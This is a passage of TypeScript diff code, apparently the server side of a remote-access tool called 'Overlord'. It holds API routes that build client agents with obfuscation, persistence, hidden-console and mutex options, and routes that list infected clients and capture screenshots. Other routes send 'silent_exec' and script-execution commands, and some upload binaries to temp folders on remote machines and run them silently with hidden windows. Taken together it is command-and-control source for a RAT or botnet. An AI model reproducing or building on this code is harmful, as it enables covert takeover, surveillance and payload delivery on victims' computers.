||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid JSON" }, { status: 400 });
|
||||
}
|
||||
|
||||
const triggerRaw = body?.trigger ? String(body.trigger).trim() : undefined;
|
||||
if (triggerRaw && !AUTO_SCRIPT_TRIGGERS.has(triggerRaw as AutoScriptTrigger)) {
|
||||
return Response.json({ error: "Invalid trigger" }, { status: 400 });
|
||||
}
|
||||
|
||||
const scriptTypeRaw = body?.scriptType ? String(body.scriptType).trim() : undefined;
|
||||
const scriptType = scriptTypeRaw
|
||||
? ALLOWED_SCRIPT_TYPES.has(scriptTypeRaw)
|
||||
? scriptTypeRaw
|
||||
: "powershell"
|
||||
: undefined;
|
||||
|
||||
const updated = updateAutoScript(autoScriptMatch[1], {
|
||||
name: body?.name ? String(body.name).trim() : undefined,
|
||||
trigger: triggerRaw as AutoScriptTrigger | undefined,
|
||||
script: body?.script ? String(body.script) : undefined,
|
||||
scriptType,
|
||||
enabled: typeof body?.enabled === "boolean" ? body.enabled : undefined,
|
||||
});
|
||||
|
||||
if (!updated) {
|
||||
return Response.json({ error: "Not found" }, { status: 404 });
|
||||
}
|
||||
|
||||
return Response.json({ ok: true, item: updated });
|
||||
}
|
||||
|
||||
if (autoScriptMatch && req.method === "DELETE") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
deleteAutoScript(autoScriptMatch[1]);
|
||||
return Response.json({ ok: true });
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,295 @@
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { AuditAction, logAudit } from "../../auditLog";
|
||||
import * as buildManager from "../../build/buildManager";
|
||||
import { deleteBuild, getAllBuilds, getBuild } from "../../db";
|
||||
import { requirePermission } from "../../rbac";
|
||||
import { logger } from "../../logger";
|
||||
import path from "path";
|
||||
import { resolveRuntimeRoot } from "../runtime-paths";
|
||||
|
||||
type RequestIpProvider = {
|
||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||
};
|
||||
|
||||
type BuildRouteDeps = {
|
||||
startBuildProcess: (buildId: string, config: any) => Promise<void>;
|
||||
sanitizeMutex: (value?: string) => string | undefined;
|
||||
allowedPlatforms: Set<string>;
|
||||
};
|
||||
|
||||
export async function handleBuildRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
server: RequestIpProvider,
|
||||
deps: BuildRouteDeps,
|
||||
): Promise<Response | null> {
|
||||
if (!url.pathname.startsWith("/api/build")) {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/build/start") {
|
||||
requirePermission(user, "clients:control");
|
||||
|
||||
const body = await req.json();
|
||||
const {
|
||||
platforms,
|
||||
serverUrl,
|
||||
rawServerList,
|
||||
stripDebug,
|
||||
disableCgo,
|
||||
obfuscate,
|
||||
enablePersistence,
|
||||
mutex,
|
||||
disableMutex,
|
||||
hideConsole,
|
||||
noPrinting,
|
||||
} = body;
|
||||
|
||||
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
|
||||
return Response.json({ error: "No platforms specified" }, { status: 400 });
|
||||
}
|
||||
|
||||
let safeMutex: string | undefined;
|
||||
try {
|
||||
safeMutex = typeof mutex === "string" ? deps.sanitizeMutex(mutex) : undefined;
|
||||
} catch (err: any) {
|
||||
return Response.json({ error: err?.message || "Invalid mutex" }, { status: 400 });
|
||||
}
|
||||
const safeDisableMutex = !!disableMutex;
|
||||
const sanitizedPlatforms = platforms.filter((p: string) => typeof p === "string");
|
||||
if (sanitizedPlatforms.length !== platforms.length) {
|
||||
return Response.json({ error: "Invalid platform entries" }, { status: 400 });
|
||||
}
|
||||
const allowedPlatforms = sanitizedPlatforms.filter((p: string) =>
|
||||
deps.allowedPlatforms.has(p),
|
||||
);
|
||||
if (allowedPlatforms.length === 0) {
|
||||
return Response.json({ error: "No valid platforms specified" }, { status: 400 });
|
||||
}
|
||||
|
||||
const safeRawServerList = !!rawServerList;
|
||||
const safeServerUrl =
|
||||
typeof serverUrl === "string" && serverUrl.trim() !== ""
|
||||
? serverUrl.trim()
|
||||
: undefined;
|
||||
if (safeRawServerList) {
|
||||
if (!safeServerUrl) {
|
||||
return Response.json(
|
||||
{ error: "Raw server list requires a server URL" },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
try {
|
||||
const parsed = new URL(safeServerUrl);
|
||||
if (parsed.protocol !== "https:") {
|
||||
return Response.json(
|
||||
{ error: "Raw server list URL must use https" },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid raw server list URL" }, { status: 400 });
|
||||
}
|
||||
}
|
||||
|
||||
const buildId = uuidv4();
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.COMMAND,
|
||||
details: `Started build ${buildId} for platforms: ${allowedPlatforms.join(", ")}`,
|
||||
success: true,
|
||||
});
|
||||
|
||||
const safeNoPrinting = !!noPrinting;
|
||||
deps.startBuildProcess(buildId, {
|
||||
platforms: allowedPlatforms,
|
||||
serverUrl: safeServerUrl,
|
||||
rawServerList: safeRawServerList,
|
||||
mutex: safeMutex,
|
||||
disableMutex: safeDisableMutex,
|
||||
stripDebug,
|
||||
disableCgo,
|
||||
obfuscate: !!obfuscate,
|
||||
enablePersistence,
|
||||
hideConsole: !!hideConsole,
|
||||
noPrinting: safeNoPrinting,
|
||||
});
|
||||
|
||||
return Response.json({ buildId });
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/build/list") {
|
||||
requirePermission(user, "clients:control");
|
||||
|
||||
const builds = getAllBuilds();
|
||||
return Response.json({ builds });
|
||||
}
|
||||
|
||||
if (req.method === "DELETE" && url.pathname.match(/^\/api\/build\/(.+)\/delete$/)) {
|
||||
requirePermission(user, "clients:control");
|
||||
|
||||
const buildId = url.pathname.split("/")[3];
|
||||
|
||||
buildManager.deleteBuildStream(buildId);
|
||||
deleteBuild(buildId);
|
||||
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.COMMAND,
|
||||
details: `Deleted build ${buildId}`,
|
||||
success: true,
|
||||
});
|
||||
|
||||
return Response.json({ success: true });
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname.match(/^\/api\/build\/(.+)\/stream$/)) {
|
||||
requirePermission(user, "clients:control");
|
||||
|
||||
const buildId = url.pathname.split("/")[3];
|
||||
const build = buildManager.getBuildStream(buildId);
|
||||
|
||||
if (!build) {
|
||||
return Response.json({ error: "Build not found" }, { status: 404 });
|
||||
}
|
||||
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] Client connected to stream`);
|
||||
|
||||
const stream = new ReadableStream({
|
||||
start(controller) {
|
||||
build.controllers.push(controller);
|
||||
logger.info(
|
||||
`[build:${buildId.substring(0, 8)}] Added controller, total: ${build.controllers.length}`,
|
||||
);
|
||||
|
||||
const encoder = new TextEncoder();
|
||||
try {
|
||||
controller.enqueue(
|
||||
encoder.encode(
|
||||
`data: ${JSON.stringify({ type: "status", text: "Connected to build stream" })}\n\n`,
|
||||
),
|
||||
);
|
||||
} catch (err) {
|
||||
logger.error(
|
||||
`[build:${buildId.substring(0, 8)}] Failed to send initial message:`,
|
||||
err,
|
||||
);
|
||||
}
|
||||
},
|
||||
cancel() {
|
||||
const index = build.controllers.indexOf(this as any);
|
||||
if (index > -1) {
|
||||
build.controllers.splice(index, 1);
|
||||
logger.info(
|
||||
`[build:${buildId.substring(0, 8)}] Controller removed, remaining: ${build.controllers.length}`,
|
||||
);
|
||||
}
|
||||
},
|
||||
});
|
||||
|
||||
return new Response(stream, {
|
||||
headers: {
|
||||
"Content-Type": "text/event-stream",
|
||||
"Cache-Control": "no-cache",
|
||||
Connection: "keep-alive",
|
||||
"X-Accel-Buffering": "no",
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname.match(/^\/api\/build\/(.+)\/info$/)) {
|
||||
requirePermission(user, "clients:control");
|
||||
|
||||
const buildId = url.pathname.split("/")[3];
|
||||
const build = buildManager.getBuildStream(buildId);
|
||||
|
||||
if (!build) {
|
||||
const dbBuild = getBuild(buildId);
|
||||
if (!dbBuild) {
|
||||
return Response.json({ error: "Build not found" }, { status: 404 });
|
||||
}
|
||||
return Response.json({
|
||||
id: dbBuild.id,
|
||||
status: dbBuild.status,
|
||||
startTime: dbBuild.startTime,
|
||||
expiresAt: dbBuild.expiresAt,
|
||||
files: dbBuild.files,
|
||||
});
|
||||
}
|
||||
|
||||
return Response.json({
|
||||
id: build.id,
|
||||
status: build.status,
|
||||
startTime: build.startTime,
|
||||
expiresAt: build.expiresAt,
|
||||
files: build.files,
|
||||
});
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname.match(/^\/api\/build\/download\//)) {
|
||||
requirePermission(user, "clients:control");
|
||||
|
||||
const rawName = url.pathname.split("/api/build/download/")[1] || "";
|
||||
let fileName = rawName;
|
||||
try {
|
||||
fileName = decodeURIComponent(rawName);
|
||||
} catch {
|
||||
return Response.json({ error: "Bad request" }, { status: 400 });
|
||||
}
|
||||
|
||||
if (
|
||||
!fileName ||
|
||||
fileName.includes("\u0000") ||
|
||||
fileName.includes("/") ||
|
||||
fileName.includes("\\")
|
||||
) {
|
||||
return Response.json({ error: "File not found" }, { status: 404 });
|
||||
}
|
||||
|
||||
const rootDir = resolveRuntimeRoot();
|
||||
const distRoot = path.resolve(rootDir, "dist-clients");
|
||||
const filePath = path.resolve(distRoot, fileName);
|
||||
const rootWithSep = distRoot.endsWith(path.sep)
|
||||
? distRoot
|
||||
: `${distRoot}${path.sep}`;
|
||||
|
||||
if (!filePath.startsWith(rootWithSep)) {
|
||||
return Response.json({ error: "File not found" }, { status: 404 });
|
||||
}
|
||||
|
||||
const file = Bun.file(filePath);
|
||||
if (!(await file.exists())) {
|
||||
return Response.json({ error: "File not found" }, { status: 404 });
|
||||
}
|
||||
|
||||
return new Response(file, {
|
||||
headers: {
|
||||
"Content-Type": "application/octet-stream",
|
||||
"Content-Disposition": `attachment; filename="${fileName}"`,
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
return new Response("Not found", { status: 404 });
|
||||
} catch (error) {
|
||||
if (error instanceof Response) {
|
||||
return error;
|
||||
}
|
||||
logger.error("[build] API error:", error);
|
||||
return Response.json({ error: "Internal server error" }, { status: 500 });
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,314 @@
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { AuditAction, logAudit } from "../../auditLog";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import {
|
||||
banIp,
|
||||
deleteClientRow,
|
||||
getClientIp,
|
||||
listClients,
|
||||
setOnlineState,
|
||||
} from "../../db";
|
||||
import { metrics } from "../../metrics";
|
||||
import { encodeMessage } from "../../protocol";
|
||||
import { requirePermission } from "../../rbac";
|
||||
|
||||
type RequestIpProvider = {
|
||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||
};
|
||||
|
||||
type PendingScript = {
|
||||
resolve: (result: any) => void;
|
||||
reject: (error: any) => void;
|
||||
timeout: NodeJS.Timeout;
|
||||
};
|
||||
|
||||
type ClientRouteDeps = {
|
||||
CORS_HEADERS: Record<string, string>;
|
||||
pendingScripts: Map<string, PendingScript>;
|
||||
};
|
||||
|
||||
export async function handleClientRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
server: RequestIpProvider,
|
||||
deps: ClientRouteDeps,
|
||||
): Promise<Response | null> {
|
||||
if (
|
||||
!url.pathname.startsWith("/api/clients") &&
|
||||
!url.pathname.match(/^\/api\/clients\/.+\/command$/)
|
||||
) {
|
||||
return null;
|
||||
}
|
||||
|
||||
if (url.pathname === "/api/clients") {
|
||||
if (!(await authenticateRequest(req))) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
const page = Math.max(1, Number(url.searchParams.get("page") || 1));
|
||||
const pageSize = Math.max(1, Number(url.searchParams.get("pageSize") || 12));
|
||||
const search = (url.searchParams.get("q") || "").toLowerCase().trim();
|
||||
const sort = url.searchParams.get("sort") || "last_seen_desc";
|
||||
const statusFilter = url.searchParams.get("status") || "all";
|
||||
const osFilter = url.searchParams.get("os") || "all";
|
||||
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter });
|
||||
return Response.json(result, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
const banMatch = url.pathname.match(/^\/api\/clients\/(.+)\/ban$/);
|
||||
if (req.method === "POST" && banMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
const targetId = banMatch[1];
|
||||
const target = clientManager.getClient(targetId);
|
||||
const targetIp = target?.ip || getClientIp(targetId);
|
||||
if (!targetIp) {
|
||||
return Response.json({ error: "Client IP not found" }, { status: 404 });
|
||||
}
|
||||
|
||||
banIp(targetIp, `Banned by ${user.username} for client ${targetId}`);
|
||||
|
||||
if (target) {
|
||||
try {
|
||||
target.ws.close(4003, "banned");
|
||||
} catch {}
|
||||
setOnlineState(targetId, false);
|
||||
}
|
||||
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.COMMAND,
|
||||
targetClientId: targetId,
|
||||
details: `Banned IP ${targetIp}`,
|
||||
success: true,
|
||||
});
|
||||
|
||||
return Response.json({ ok: true, ip: targetIp });
|
||||
}
|
||||
|
||||
const thumbnailMatch = url.pathname.match(/^\/api\/clients\/(.+)\/thumbnail$/);
|
||||
if (req.method === "POST" && thumbnailMatch) {
|
||||
if (!(await authenticateRequest(req))) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
const clientId = thumbnailMatch[1];
|
||||
const { generateThumbnail, markThumbnailRequested } = await import("../../thumbnails");
|
||||
markThumbnailRequested(clientId);
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (target?.online) {
|
||||
const commandId = uuidv4();
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "screenshot",
|
||||
id: commandId,
|
||||
payload: { mode: "notification", allDisplays: true },
|
||||
}),
|
||||
);
|
||||
metrics.recordCommand("screenshot");
|
||||
}
|
||||
const success = generateThumbnail(clientId);
|
||||
return Response.json({ ok: true, updated: success }, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (req.method === "POST") {
|
||||
const cmdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/command$/);
|
||||
if (cmdMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
const targetId = cmdMatch[1];
|
||||
const target = clientManager.getClient(targetId);
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
|
||||
if (!target) return new Response("Not found", { status: 404 });
|
||||
try {
|
||||
const body = await req.json();
|
||||
const action = body?.action;
|
||||
|
||||
let success = true;
|
||||
if (action === "ping") {
|
||||
const nonce = Date.now() + Math.floor(Math.random() * 1000);
|
||||
target.lastPingSent = Date.now();
|
||||
target.lastPingNonce = nonce;
|
||||
target.ws.send(encodeMessage({ type: "ping", ts: nonce }));
|
||||
} else if (action === "ping_bulk") {
|
||||
const count = Math.max(1, Math.min(1000, Number(body?.count || 1)));
|
||||
for (let i = 0; i < count; i++) {
|
||||
}
|
||||
} else if (action === "disconnect") {
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "disconnect", id: uuidv4() }));
|
||||
metrics.recordCommand("disconnect");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.DISCONNECT,
|
||||
targetClientId: targetId,
|
||||
success: true,
|
||||
});
|
||||
} else if (action === "reconnect") {
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "reconnect", id: uuidv4() }));
|
||||
metrics.recordCommand("reconnect");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.RECONNECT,
|
||||
targetClientId: targetId,
|
||||
success: true,
|
||||
});
|
||||
} else if (action === "screenshot") {
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "screenshot",
|
||||
id: uuidv4(),
|
||||
payload: { mode: "notification", allDisplays: true },
|
||||
}),
|
||||
);
|
||||
metrics.recordCommand("screenshot");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.SCREENSHOT,
|
||||
targetClientId: targetId,
|
||||
success: true,
|
||||
});
|
||||
} else if (action === "desktop_start") {
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_start", id: uuidv4() }));
|
||||
metrics.recordCommand("desktop_start");
|
||||
} else if (action === "script_exec") {
|
||||
const scriptContent = body?.script || "";
|
||||
const scriptType = body?.scriptType || "powershell";
|
||||
const cmdId = uuidv4();
|
||||
|
||||
const resultPromise = new Promise((resolve, reject) => {
|
||||
const timeout = setTimeout(() => {
|
||||
deps.pendingScripts.delete(cmdId);
|
||||
reject(new Error("Script execution timed out after 5 minutes"));
|
||||
}, 5 * 60 * 1000);
|
||||
|
||||
deps.pendingScripts.set(cmdId, { resolve, reject, timeout });
|
||||
});
|
||||
|
||||
target.ws.send(encodeMessage({
|
||||
type: "command",
|
||||
commandType: "script_exec",
|
||||
id: cmdId,
|
||||
payload: { script: scriptContent, type: scriptType },
|
||||
}));
|
||||
|
||||
metrics.recordCommand("script_exec");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.SCRIPT_EXECUTE,
|
||||
targetClientId: targetId,
|
||||
success: true,
|
||||
details: `script_exec (${scriptType})`,
|
||||
});
|
||||
|
||||
try {
|
||||
const result = await resultPromise;
|
||||
return Response.json(result);
|
||||
} catch (error: any) {
|
||||
return Response.json({ ok: false, error: error.message }, { status: 500 });
|
||||
}
|
||||
} else if (action === "silent_exec") {
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
const command = typeof body?.command === "string" ? body.command.trim() : "";
|
||||
const args = typeof body?.args === "string" ? body.args : "";
|
||||
const cwd = typeof body?.cwd === "string" ? body.cwd : "";
|
||||
|
||||
if (!command) {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const cmdId = uuidv4();
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "silent_exec",
|
||||
id: cmdId,
|
||||
payload: { command, args, cwd },
|
||||
}),
|
||||
);
|
||||
metrics.recordCommand("silent_exec");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.SILENT_EXECUTE,
|
||||
targetClientId: targetId,
|
||||
success: true,
|
||||
details: JSON.stringify({ command, args, cwd }),
|
||||
});
|
||||
} else if (action === "uninstall") {
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "uninstall", id: uuidv4() }));
|
||||
metrics.recordCommand("uninstall");
|
||||
deleteClientRow(targetId);
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.UNINSTALL,
|
||||
targetClientId: targetId,
|
||||
details: "Agent uninstall requested - persistence will be removed",
|
||||
success: true,
|
||||
});
|
||||
} else {
|
||||
success = false;
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.COMMAND,
|
||||
targetClientId: targetId,
|
||||
details: action,
|
||||
success,
|
||||
});
|
||||
|
||||
return Response.json({ ok: true });
|
||||
} catch (error) {
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.COMMAND,
|
||||
targetClientId: targetId,
|
||||
success: false,
|
||||
errorMessage: String(error),
|
||||
});
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,328 @@
|
||||
import fs from "fs/promises";
|
||||
import path from "path";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { AuditAction, logAudit } from "../../auditLog";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import { metrics } from "../../metrics";
|
||||
import { encodeMessage } from "../../protocol";
|
||||
|
||||
type RequestIpProvider = {
|
||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||
};
|
||||
|
||||
type DeployOs = "windows" | "mac" | "linux" | "unix" | "unknown";
|
||||
type DeployUpload = {
|
||||
id: string;
|
||||
path: string;
|
||||
name: string;
|
||||
size: number;
|
||||
os: DeployOs;
|
||||
};
|
||||
|
||||
type DeployRouteDeps = {
|
||||
DEPLOY_ROOT: string;
|
||||
deployUploads: Map<string, DeployUpload>;
|
||||
detectUploadOs: (filename: string, bytes: Uint8Array) => DeployOs;
|
||||
normalizeClientOs: (os?: string) => DeployOs;
|
||||
};
|
||||
|
||||
export async function handleDeployRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
server: RequestIpProvider,
|
||||
deps: DeployRouteDeps,
|
||||
): Promise<Response | null> {
|
||||
if (!url.pathname.startsWith("/api/deploy")) {
|
||||
return null;
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/deploy/upload") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
let form: FormData;
|
||||
try {
|
||||
form = await req.formData();
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const file = form.get("file");
|
||||
if (!(file instanceof File)) {
|
||||
return new Response("Missing file", { status: 400 });
|
||||
}
|
||||
|
||||
const filename = path.basename(file.name || "upload.bin");
|
||||
const id = uuidv4();
|
||||
await fs.mkdir(deps.DEPLOY_ROOT, { recursive: true });
|
||||
const folder = path.join(deps.DEPLOY_ROOT, id);
|
||||
await fs.mkdir(folder, { recursive: true });
|
||||
const targetPath = path.join(folder, filename);
|
||||
const bytes = new Uint8Array(await file.arrayBuffer());
|
||||
await fs.writeFile(targetPath, bytes);
|
||||
|
||||
const os = deps.detectUploadOs(filename, bytes);
|
||||
const entry: DeployUpload = {
|
||||
id,
|
||||
path: targetPath,
|
||||
name: filename,
|
||||
size: bytes.length,
|
||||
os,
|
||||
};
|
||||
deps.deployUploads.set(id, entry);
|
||||
|
||||
return Response.json({ ok: true, uploadId: id, os, name: filename, size: bytes.length });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/deploy/run") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const uploadId = typeof body?.uploadId === "string" ? body.uploadId : "";
|
||||
const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
|
||||
const args = typeof body?.args === "string" ? body.args : "";
|
||||
const hideWindow = body?.hideWindow !== false;
|
||||
if (!uploadId || clientIds.length === 0) {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const upload = deps.deployUploads.get(uploadId);
|
||||
if (!upload) {
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
const bytes = new Uint8Array(await fs.readFile(upload.path));
|
||||
const chunkSize = 256 * 1024;
|
||||
const results: Array<{ clientId: string; ok: boolean; reason?: string; command?: string }> = [];
|
||||
|
||||
const formatCommandDisplay = (commandPath: string, commandArgs: string) => {
|
||||
const trimmedArgs = commandArgs.trim();
|
||||
const needsQuotes = commandPath.includes(" ");
|
||||
const displayCommand = needsQuotes ? `"${commandPath}"` : commandPath;
|
||||
if (!trimmedArgs) {
|
||||
return displayCommand;
|
||||
}
|
||||
return `${displayCommand} ${trimmedArgs}`;
|
||||
};
|
||||
|
||||
for (const clientId of clientIds) {
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
results.push({ clientId, ok: false, reason: "offline" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const clientOs = deps.normalizeClientOs(target.os);
|
||||
const osMismatch =
|
||||
upload.os !== "unknown" &&
|
||||
!(
|
||||
upload.os === clientOs ||
|
||||
(upload.os === "unix" && (clientOs === "linux" || clientOs === "mac"))
|
||||
);
|
||||
if (osMismatch) {
|
||||
results.push({ clientId, ok: false, reason: "os_mismatch" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const dir = clientOs === "windows"
|
||||
? `C:\\Windows\\Temp\\Overlord\\${upload.id}`
|
||||
: `/tmp/overlord/${upload.id}`;
|
||||
const destPath = clientOs === "windows"
|
||||
? `${dir}\\${upload.name}`
|
||||
: `${dir}/${upload.name}`;
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "file_mkdir",
|
||||
id: uuidv4(),
|
||||
payload: { path: dir },
|
||||
}),
|
||||
);
|
||||
|
||||
for (let offset = 0; offset < bytes.length; offset += chunkSize) {
|
||||
const chunk = bytes.subarray(offset, Math.min(offset + chunkSize, bytes.length));
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "file_upload",
|
||||
id: uuidv4(),
|
||||
payload: { path: destPath, data: chunk, offset, total: bytes.length },
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
if (clientOs !== "windows") {
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "file_chmod",
|
||||
id: uuidv4(),
|
||||
payload: { path: destPath, mode: "0755" },
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
const displayCommand = formatCommandDisplay(destPath, args);
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "silent_exec",
|
||||
id: uuidv4(),
|
||||
payload: { command: destPath, args, hideWindow },
|
||||
}),
|
||||
);
|
||||
|
||||
metrics.recordCommand("silent_exec");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip: server.requestIP(req)?.address || "unknown",
|
||||
action: AuditAction.SILENT_EXECUTE,
|
||||
targetClientId: clientId,
|
||||
success: true,
|
||||
details: JSON.stringify({ uploadId, command: destPath, args }),
|
||||
});
|
||||
|
||||
results.push({ clientId, ok: true, command: displayCommand });
|
||||
}
|
||||
|
||||
return Response.json({ ok: true, results });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/deploy/update") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const uploadId = typeof body?.uploadId === "string" ? body.uploadId : "";
|
||||
const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
|
||||
if (!uploadId || clientIds.length === 0) {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const upload = deps.deployUploads.get(uploadId);
|
||||
if (!upload) {
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
const bytes = new Uint8Array(await fs.readFile(upload.path));
|
||||
const chunkSize = 256 * 1024;
|
||||
